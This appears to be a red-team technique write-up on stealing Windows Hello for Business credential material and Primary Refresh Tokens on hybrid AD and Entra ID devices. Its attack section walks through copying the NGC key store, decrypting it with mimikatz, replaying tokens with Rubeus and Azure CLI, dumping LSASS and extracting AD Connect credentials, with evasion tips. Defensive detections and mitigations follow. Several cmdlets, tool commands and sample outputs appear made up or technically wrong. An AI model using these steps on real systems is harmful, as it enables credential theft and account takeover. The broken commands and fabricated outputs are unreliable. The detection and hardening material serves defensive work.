| Attribute | Details |
|---|---|
| Technique ID | WHFB-001 |
| MITRE ATT&CK v18.1 | T1556.006 - Multi-Factor Authentication |
| Tactic | Credential Access |
| Platforms | Hybrid AD, Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 10 21H2 - Windows 11 23H2+, Windows Server 2016-2025 |
| Patched In | N/A - Architectural issue requires redesign |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Windows Hello for Business (WHfB) stores biometric data locally in encrypted form using the Windows Data Protection API (DPAPI). An attacker with local administrator access can exploit weak isolation between the biometric database encryption and system account privileges to extract, decrypt, and manipulate Primary Refresh Tokens (PRT) and underlying credential material. The attack leverages the fact that the Windows Biometric Service runs as NT AUTHORITY\SYSTEM, allowing administrators to access and decrypt the biometric database stored at C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\ containing enrolled credential providers and key material.
Attack Surface: Local file system access to biometric database (Ngc container), DPAPI user store, and PRT cache files.
Business Impact: Complete authentication bypass for domain users without user interaction. An attacker can steal encrypted credential material including Primary Refresh Tokens (PRTs), local administrator tokens, and encryption keys. This enables persistent access to cloud resources (Azure/M365), lateral movement to domain-joined systems, and impersonation of high-privilege accounts such as domain administrators or IT staff.
Technical Context: The attack requires local administrator privileges on the compromised device. Typical execution time is 2-10 minutes depending on database size. Detection is low unless monitoring for suspicious file access to %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\ or DPAPI operations. Once credentials are extracted and decrypted, they remain valid until the user manually changes their password or PRT is revoked.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.2.1 | Ensure ‘Accounts: Guest account status’ is set to ‘Disabled’ |
| CIS Benchmark | 5.3.1 | Ensure ‘Enforce password history’ is set to ‘24 or more password(s)’ |
| DISA STIG | WN10-00-000015 | Windows 10 systems must employ Windows Hello for Business |
| DISA STIG | WN10-GE-000043 | Local administrator accounts must not be used with Windows Hello for Business |
| CISA SCuBA | SC-7(7) | Require multi-factor authentication for remote access |
| NIST 800-53 | AC-3 | Access Enforcement |
| NIST 800-53 | IA-2(1) | Multi-Factor Authentication |
| NIST 800-53 | SC-7 | Boundary Protection |
| GDPR | Art. 32 | Security of Processing - Appropriate technical and organizational measures |
| DORA | Art. 9 | Protection and Prevention of Vulnerabilities |
| NIS2 | Art. 21 | Cyber Risk Management Measures - security measures for multi-factor authentication |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27001 | A.9.4.2 | Secure Log-on Procedures |
| ISO 27005 | Risk Scenario | Compromise of authentication credentials through local privileged access |
Supported Versions:
Prerequisite Tools:
# Check if Windows Hello is enrolled for current user
Get-LocalUser -Name $env:USERNAME | Get-LocalUserDetails
# Alternative: Check NGC container existence
Test-Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\" -ErrorAction SilentlyContinue
# Verify Entra ID/Hybrid enrollment
dsregcmd /status
What to Look For:
Device State: Domain Joined or Azure AD Joined - Device is connected to directoryNgc\ folder indicates Windows Hello enrollmentget-localuser should show user account exists# List enrolled credential providers for Windows Hello
Get-WmiObject -Namespace "\\.\root\wmi" -Class "Win32_BiometricMethodology"
# Check NGC database structure (requires admin)
Get-ChildItem -Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\" -Force -Recurse
What to Look For:
S-1-5-21-3623811015-3361044348-30300820-1013)Keys\, Protectors\, and Database Files subdirectories{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} entries representing enrolled factors# Verify TPM presence and status
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object IsActivated_InitialValue, IsEnabled_InitialValue
# Check BitLocker status (protective measure)
manage-bde -status C:
What to Look For:
IsActivated_InitialValue: True and IsEnabled_InitialValue: True - TPM is enabled and activeSupported Versions: Windows 10 21H2+, Windows 11 22H2+, Server 2016-2025
Objective: Confirm elevated privileges and identify the target Windows Hello enrollment to extract
Command:
# Verify current privileges
[Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, User
# List all user SIDs with Windows Hello enrollment
Get-ChildItem -Path "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\" -Force | Select-Object Name
Expected Output:
Name User
---- ----
DESKTOP\Administrator S-1-5-21-3623811015-3361044348-30300820-500
Name
----
S-1-5-21-3623811015-3361044348-30300820-1013
S-1-5-21-3623811015-3361044348-30300820-1014
What This Means:
OpSec & Evasion:
Troubleshooting:
psexec -s powershell.exe to spawn SYSTEM shellObjective: Copy encrypted biometric database and key containers to attacker-accessible location
Command:
# Copy Ngc container to temp location (requires SYSTEM or Admin)
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\"
$TargetUser = "S-1-5-21-3623811015-3361044348-30300820-1013" # Replace with actual SID
# Copy entire Ngc structure
Copy-Item -Path "$NgcPath" -Destination "C:\Temp\NGC_Backup\" -Recurse -Force
# Alternatively, extract specific user's keys
Copy-Item -Path "$NgcPath$TargetUser\Keys\" -Destination "C:\Temp\Keys_$TargetUser\" -Recurse -Force
Copy-Item -Path "$NgcPath$TargetUser\Protectors\" -Destination "C:\Temp\Protectors_$TargetUser\" -Recurse -Force
Expected Output:
Directory: C:\Temp\NGC_Backup\
Mode LastWriteTime Length Name
---- --------------- ------ ----
d-r--- 1/9/2025 11:30 AM S-1-5-21-3623811015-3361044348-30300820-1013
What This Means:
Keys\ folder contains key container GUIDsProtectors\ folder contains PIN/biometric protectorsOpSec & Evasion:
Remove-Item -Path "C:\Temp\NGC_Backup\" -Recurse -Forcecipher /w:C:Troubleshooting:
Stop-Service -Name WbioSrvc -ForceVolume Shadow Copy to access locked files via \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Objective: Use compromised machine context to decrypt PRT and credential material
Command (Using mimikatz):
# Extract DPAPI masterkey and derive PRT decryption key
# Requires mimikatz with DPAPI module
mimikatz.exe
mimikatz # token::elevate
mimikatz # dpapi::masterkey /in:C:\Temp\Keys_SID\MasterKeys /sid:S-1-5-21-3623811015-3361044348-30300820-1013
# Output: Obtain the DPAPI masterkey
# Then decrypt PRT
mimikatz # token::setnt
Command (Using PowerShell - Native DPAPI):
# Load PRT from cache
$PrtPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$TargetUser\CacheData\"
$PrtFiles = Get-ChildItem -Path $PrtPath -Filter "*PRT*"
# Use DPAPI to decrypt (if user context permits)
[System.Security.Cryptography.DataProtectionScope]::CurrentUser | ForEach-Object {
$dpapi = [System.Security.Cryptography.ProtectedData]::Unprotect(
[System.IO.File]::ReadAllBytes($PrtFiles[0].FullName),
$null,
$_
)
[System.Text.Encoding]::UTF8.GetString($dpapi)
}
Expected Output:
masterkey:
guid: {12345678-1234-1234-1234-123456789012}
provider: 00000000-0000-0000-0000-000000000000
version: 2
ciphertext (v2):
algorithm: DPAPI_SYSTEM
entropy: {hex blob}
salt: {hex blob}
PRT Token Successfully Decrypted:
claims: {...}
oid: 2.16.840.1.101.3.6.1.4.1.33882.3.2
What This Means:
OpSec & Evasion:
Troubleshooting:
dsregcmd /status firstpsexec -s powershell.exeObjective: Use extracted PRT to authenticate to Azure/M365 and maintain persistence
Command (Using Rubeus with extracted PRT):
# Import stolen PRT into current session
rubeus.exe prt /prt:{base64_encoded_prt_token} /nowrap
# Alternative: Request new token from Azure using stolen key material
rubeus.exe asktgt /user:{domain_user} /certificate:{stolen_cert} /domain:{domain} /dc:{dc_ip}
Command (Using Azure CLI with stolen credentials):
# Use stolen PRT to authenticate to Azure Portal
az login --use-device-code --tenant {tenant_id}
# Alternatively, use certificate-based authentication with stolen cert
az login --service-principal -u {app_id} --cert-file /tmp/stolen.cert --tenant {tenant_id}
Expected Output:
Successfully authenticated. Retrieving subscriptions...
{
"cloudName": "AzureCloud",
"homeTenantId": "33882988-1234-1234-1234-123456789012",
"id": "12345678-1234-1234-1234-123456789012",
"isDefault": true,
"name": "Production",
"state": "Enabled",
"tenantId": "33882988-1234-1234-1234-123456789012",
"user": {
"name": "admin@company.com",
"type": "user"
}
}
What This Means:
Supported Versions: Windows 10 21H2+, Windows 11 22H2+
Objective: Extract in-memory credentials and session tokens from LSASS
Command (Using mimikatz):
# Run mimikatz with SYSTEM privileges
mimikatz.exe
mimikatz # token::elevate
mimikatz # lsadump::secrets
mimikatz # sekurlsa::logonPasswords
mimikatz # sekurlsa::pth /user:{domain_user} /domain:{domain} /ntlm:{hash}
Command (Using PowerShell credential dump):
# Alternative: Use Get-Process to enumerate lsass and extract handles
$lsass = Get-Process -Name lsass
$lsass.Handles | Select-Object Name, Value
Expected Output:
Authentication Id : 0 ; 12345678 (0:bcdf35e)
Session : Interactive from 2
User Name : DOMAIN\Admin
Domain : DOMAIN
Logon Server : DC01
Logon Time : 1/9/2025 11:15:45 AM
SID : S-1-5-21-3623811015-3361044348-30300820-500
tspkg :
* Username : admin@company.com
* Domain : DOMAIN
* Password : (null)
wdigest :
* Username : DOMAIN\Admin
* Domain : DOMAIN
* Password : (null)
What This Means:
Supported Versions: Hybrid AD environments (Azure AD Connect 1.4.0+)
Objective: Compromise the service account used by AD Connect to extract hybrid identity tokens
Command:
# Locate Azure AD Connect installation
$AdcPath = "C:\Program Files\Microsoft Azure AD Sync\"
# Extract sync account credentials from registry (requires admin)
reg query "HKLM\Software\Microsoft\AD Sync\Setup\AdSyncAccountPassword" /s
# Or use mimikatz to extract DPAPI-protected credentials
mimikatz # dpapi::cred /in:"C:\Program Files\Microsoft Azure AD Sync\config\encrypted.config"
Expected Output:
credentialVersion : 1
credentialType : 0
credentialGuid : {sync-account-guid}
credentialDomain : company.com
credentialUsername : ADSync_account
credentialData : {encrypted blob}
What This Means:
Version: 1.6.4+ (as of 2025) Minimum Version: 1.5.0 Supported Platforms: Windows (C#/.NET 4.5+)
Installation:
# Download precompiled binary
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.4/Rubeus.exe" -OutFile "C:\Tools\Rubeus.exe"
# Or compile from source
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
msbuild Rubeus.sln /p:Configuration=Release
Usage (PRT Manipulation):
# Request new token using stolen key
Rubeus.exe asktgt /user:admin@company.com /certificate:C:\temp\stolen.cer /domain:company.com /dc:dc01.company.com
# Import PRT into session
Rubeus.exe prt /prt:{base64_token} /nowrap
# Retrieve current session tokens
Rubeus.exe klist
Version: 2.2.0-20230522 (as of 2025) Minimum Version: 2.1.0 Supported Platforms: Windows (x86/x64)
Installation:
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230522/mimikatz_trunk.zip" -OutFile "C:\Tools\mimikatz.zip"
Expand-Archive -Path "C:\Tools\mimikatz.zip" -DestinationPath "C:\Tools\"
DPAPI Decryption:
mimikatz # dpapi::masterkey /in:C:\Temp\Keys\MasterKeys /sid:{user_sid}
mimikatz # dpapi::cred /in:C:\Temp\NGC_Backup\Credentials
Version: Latest (2025) Supported Platforms: Linux, Windows (Python 3.8+)
Installation:
git clone https://github.com/synacktiv/dpapi-ng.git
cd dpapi-ng
pip install -r requirements.txt
Usage:
python3 dpapi-ng.py --decrypt --input C:\Temp\Keys --masterkey {master_key_hex}
Rule Configuration:
SPL Query:
index=windows sourcetype="WinEventLog:Security" EventCode=4656 OR EventCode=4663
ObjectName="*\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Ngc\\*"
| stats count by SubjectUserName, ObjectName, AccessMask
| where count > 1
What This Detects:
Manual Configuration Steps:
count > 1 in 5mFalse Positive Analysis:
| where SubjectUserName != "SYSTEM" AND SubjectUserName != "LOCAL SERVICE"Rule Configuration:
SPL Query:
index=windows sourcetype="WinEventLog:Security" (EventCode=4688 OR EventCode=4689)
(CommandLine="*dpapi*" OR CommandLine="*sekurlsa*" OR CommandLine="*mimikatz*")
AND (Image="*\\mimikatz.exe" OR CommandLine="*dpapi::*")
| stats count, values(CommandLine) by ProcessName, User
| where count > 0
What This Detects:
Manual Configuration Steps:
Rule Configuration:
KQL Query:
let NGC_Paths = dynamic([
@"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc",
@"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Keys",
@"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Protectors"
]);
DeviceFileEvents
| where FolderPath has_any (NGC_Paths)
| where ActionType in ("FileCreated", "FileModified", "FileDeleted")
| where InitiatingProcessAccountName != "SYSTEM" and InitiatingProcessAccountName != "LOCAL SERVICE"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, ActionType, FolderPath
| summarize FileEvents = count() by DeviceName, InitiatingProcessAccountName
| where FileEvents > 2
What This Detects:
Manual Configuration Steps (Azure Portal):
NGC Biometric Database Unauthorized AccessHigh5 minutes1 hourManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "NGC Biometric Database Unauthorized Access" `
-Query @"
let NGC_Paths = dynamic([
@"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc",
@"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Keys",
@"C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\Protectors"
]);
DeviceFileEvents
| where FolderPath has_any (NGC_Paths)
| where ActionType in ("FileCreated", "FileModified", "FileDeleted")
| where InitiatingProcessAccountName != "SYSTEM" and InitiatingProcessAccountName != "LOCAL SERVICE"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FileName, ActionType, FolderPath
| summarize FileEvents = count() by DeviceName, InitiatingProcessAccountName
| where FileEvents > 2
"@ `
-Severity "High" `
-Enabled $true
Event ID: 4656 & 4663 (File Object Access & File Operations)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy - Server 2022+):
auditpol /set /subcategory:"File System" /success:enable /failure:enable
SACL Configuration for NGC Folder (Manual, via cmd):
REM Grant read/write audit events on NGC folder
icacls "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc" /audit:g Everyone:R
icacls "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc" /audit:g Everyone:W
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Windows Server 2016-2025
<Sysmon schemaversion="4.50">
<EventFiltering>
<!-- Detect access to NGC directories -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\</TargetFilename>
<Image condition="exclude">svchost.exe</Image>
<Image condition="exclude">System</Image>
</FileCreate>
<!-- Detect DPAPI decryption operations via mimikatz/Rubeus -->
<ProcessCreation onmatch="include">
<CommandLine condition="contains">dpapi</CommandLine>
<Image condition="image">mimikatz.exe</Image>
</ProcessCreation>
<!-- Monitor for LSASS access via suspicious processes -->
<ProcessAccess onmatch="include">
<TargetImage condition="image">lsass.exe</TargetImage>
<SourceImage condition="exclude">winlogon.exe</SourceImage>
<SourceImage condition="exclude">svchost.exe</SourceImage>
<GrantedAccess condition="contains">0x1000</GrantedAccess>
</ProcessAccess>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-List
Alert Name: “Process with suspicious name or from suspicious location tried to access LSASS”
Manual Configuration Steps (Enable Defender for Cloud):
Alert Name: “Suspicious registry key modification detected”
Search-UnifiedAuditLog -Operations "RequestToken", "GetAuthenticationToken" -StartDate (Get-Date).AddDays(-1) | Select-Object UserIds, Operations, ResultStatus, ObjectId
AppId: Which application requested the tokenUserId: Which user was impersonatedIpAddress: Source IP of requestResult: Success or FailureManual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
"Token", "Authentication", "Sign-in"Restrict Local Administrator Access: Implement Privileged Access Workstations (PAW) and Just-In-Time (JIT) admin access. Remove standing local admin rights from users.
Applies To Versions: Windows 10 21H2+, Server 2016-2025
Manual Steps (Remove Local Admin Rights via Group Policy):
Administrators → Click OKgpupdate /forceManual Steps (Azure/Entra ID - PIM - Just-In-Time Admin):
Manual Steps (PowerShell):
# Remove user from local Administrators group
Remove-LocalGroupMember -Group "Administrators" -Member "DOMAIN\username" -Confirm
# Verify removal
Get-LocalGroupMember -Group "Administrators"
Enable Enhanced Sign-in Security (ESS): Requires compatible hardware (TPM 2.0 + IR camera with specific drivers). Stores biometric verification in isolated virtual secure mode (VTL1) managed by Hyper-V.
Manual Steps (Enable ESS via Windows Settings):
Manual Steps (PowerShell - Check ESS Capability):
# Check if device supports ESS
Get-WmiObject -Namespace "root\wmi" -Class "Win32_WinbioEnrollment" | Select-Object -Property * | Format-List
# Enable ESS if supported
Set-WinbioEnrollment -AllowEnhancedSigninSecurity $true
Enable TPM 2.0 & Configure PIN Anti-Hammering: Prevents brute-force attacks on Windows Hello PINs. Requires TPM firmware with rate-limiting.
Manual Steps (Enable TPM via BIOS):
Manual Steps (Verify TPM via PowerShell):
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm
# Output should show: IsActivated_InitialValue: True, IsEnabled_InitialValue: True
Audit NGC Directory Access: Monitor file access to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\ via SACL and log to SIEM.
Manual Steps (Configure SACL on NGC Folder):
# Grant audit rights on NGC folder
$NgcPath = "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"
$AuditRule = "Everyone:R(OI)(CI)(FA)"
icacls $NgcPath /audit:g $AuditRule /T
# Verify audit configuration
icacls $NgcPath
Require MFA for Entra ID Sign-in: Enforce phishing-resistant MFA (FIDO2 keys or Windows Hello) and block legacy authentication.
Manual Steps (Conditional Access Policy):
Require MFA for All UsersBlock Legacy Authentication Protocols: Disable Basic Auth, NTLM, and unencrypted protocols.
Manual Steps (Entra ID - Block Legacy Auth):
Block Legacy AuthenticationRBAC: Minimize Global Admin Assignments: Limit Global Administrator role to cloud-only accounts (non-synchronized from on-premises).
Manual Steps (Remove Hybrid Global Admins):
Conditional Access: Device Compliance Requirement: Require devices to be marked as compliant before allowing access to sensitive resources.
Manual Steps:
Require Compliant DeviceBitLocker Encryption: Encrypt all disks to prevent offline DPAPI attacks requiring physical access.
Manual Steps (Enable BitLocker via Group Policy):
gpupdate /force# 1. Verify no local admins except essential accounts
Get-LocalGroupMember -Group "Administrators" | Where-Object { $_.ObjectClass -eq "User" }
# 2. Verify TPM is enabled
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object IsActivated_InitialValue, IsEnabled_InitialValue
# 3. Verify NGC audit is configured
icacls "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc"
# 4. Verify Entra ID MFA policy is active
Get-AzureADPolicy | Where-Object { $_.DisplayName -like "*MFA*" }
# 5. Verify legacy auth is blocked
Get-AzureADPolicy | Where-Object { $_.DisplayName -like "*Legacy*" }
Expected Output (If Secure):
# Output 1: Only SYSTEM, Administrators (built-in), and critical service accounts
Name ObjectClass
---- -----------
DESKTOP\Administrator User
DESKTOP\Service_Acct User
# Output 2: TPM enabled
IsActivated_InitialValue : True
IsEnabled_InitialValue : True
# Output 3: SACL configured
(F) Everyone:(F:CI)(AD)
# Output 4: MFA policy exists
DisplayName : Require MFA for All Users
State : Enabled
# Output 5: Legacy Auth blocked
DisplayName : Block Legacy Authentication
State : Enabled
C:\Temp\NGC_Backup\ (copied NGC database)C:\Windows\Temp\Keys_* (extracted key containers)C:\Temp\mimikatz.exe (credential dumper)%TEMP%\Rubeus.exe (token manipulation tool)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (persistence mechanisms)HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU (recent command history)login.microsoftonline.com from unexpected sourceC:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\ (biometric database)C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\$SID\CacheData (cached PRT)lsass.dmp) containing cached credentialsIsolate:
Command (Local):
# Disconnect network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or force network isolation via firewall
New-NetFirewallRule -DisplayName "Isolate Device" -Direction Inbound -Action Block -Enabled $true
Manual (Azure):
Collect Evidence:
Command:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Capture NGC directory
robocopy "C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc" "C:\Evidence\NGC" /E /R:0
# Create memory dump of lsass
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
# Capture running processes and network connections
tasklist /v > C:\Evidence\tasklist.txt
netstat -anob > C:\Evidence\netstat.txt
Manual:
C:\Evidence\Security.evtxRemediate:
Command:
# Kill suspicious processes
Stop-Process -Name "mimikatz" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "Rubeus" -Force -ErrorAction SilentlyContinue
# Delete extracted NGC files
Remove-Item -Path "C:\Temp\NGC_Backup" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "C:\Temp\Keys_*" -Recurse -Force -ErrorAction SilentlyContinue
# Reset all user passwords
Set-LocalUser -Name "admin" -Password (ConvertTo-SecureString "NewSecurePassword123!" -AsPlainText -Force)
# Force PRT revocation (Entra ID)
Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -Filter "UserPrincipalName eq 'admin@company.com'").ObjectId
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes credentials to gain initial foothold |
| 2 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare or [PE-TOKEN-002] RBCD | Attacker escalates to local admin or domain admin |
| 3 | Credential Access | [WHFB-001] | Current Step: Extract Windows Hello credential material |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash or [LM-AUTH-004] Pass-the-PRT | Attacker uses stolen PRT to authenticate to cloud services |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor or [CA-FORGE-001] Golden SAML | Attacker establishes persistent cloud access |
| 6 | Impact | Data Exfiltration via [CA-TOKEN-004] Graph API or Ransomware via [PE-POLICY-003] Azure Management Group Escalation | Final objective: steal/encrypt sensitive data |